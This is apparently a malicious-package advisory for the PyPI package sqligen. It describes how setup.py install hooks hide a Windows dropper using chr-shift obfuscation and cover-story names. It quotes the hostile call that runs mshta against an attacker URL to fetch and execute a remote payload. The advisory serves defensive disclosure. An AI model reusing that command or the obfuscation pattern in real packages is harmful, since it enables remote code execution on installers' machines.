MAL-2026-6515

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MAL-2026-6515

Summary: Malicious code in sqligen (PyPI)

Details: Source: amazon-inspector (de59ac5884f286d69e42a71ba0cb7b99aa06d2b1f0e28a279a84d3db86eb3196) setup.py contains an obfuscated install-time dropper that fires on Windows. Two functions with diagnostic-sounding names ('GetDefaultSystemPolicy' / 'CalculateNodeDrift', backed by integer arrays presented as 'InterruptThresholds' and 'ThreadPingLatencies') decode via chr(value+14) arithmetic to the strings 'mshta' and 'https://fixars.top'. On Windows, GetGitCommitHash() runs subprocess.check_output(['mshta', 'https://fixars.top'], shell=True), executing an arbitrary remote HTA payload from fixars.top. This codepath is reached from CustomInstallCommand, CustomBuildPyCommand, and CustomDevelopCommand, so any `pip install sqligen` (or `pip install -e.`) on a Windows host triggers remote code execution under the installing user's account. The obfuscation (cover-story variable names, chr-shift encoding of the command and URL) demonstrates intentional evasion of source review; legitimate build tooling does not encode 'mshta' as 'hardware interrupt latency thresholds'. The fetched payload is attacker-controlled and unrelated to the package's stated SQL-generation purpose. Source: kam193 (b84d9f4006cbb5db6790a6de402754f0937758e861efe6ec0bc3ba156415327c) During installation, the code attempts to download and start a malicious executable. Likely related to 2025-08-raknet-testing-package. Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers. Campaign: 2026-06-easyaillm Reasons (based on the campaign): - Downloads and executes a remote executable. - obfuscation - malware - tool:mshta

References: https://www.virustotal.com/gui/file/1a5beab4a6facb46b4afc5f8526e1327e6c7d740ccaf34c6a921ac18eff29427/detection, https://www.virustotal.com/gui/file/4c99c8edfc4444f46932f14afccb2952a3850df765765f9ac793d69f318c192f/detection, https://www.virustotal.com/gui/file/0649f50ead3695f41c1243883200bdb775410bcd8c8fb88277740a625a154e25, https://www.virustotal.com/gui/file/926e8f1a7f349ff1eef31f89fa8ffe265c30b92e310e8bea19962d38f8c32129, https://bad-packages.kam193.eu/pypi/package/sqligen, https://pypi.org/project/sqligen/1.0.7/, https://pypi.org/project/sqligen/1.1.4/, https://pypi.org/project/sqligen/1.0.8/, https://pypi.org/project/sqligen/1.1.1/, https://pypi.org/project/sqligen/1.0.0/, https://pypi.org/project/sqligen/1.0.5/, https://pypi.org/project/sqligen/1.0.6/, https://pypi.org/project/sqligen/1.1.3/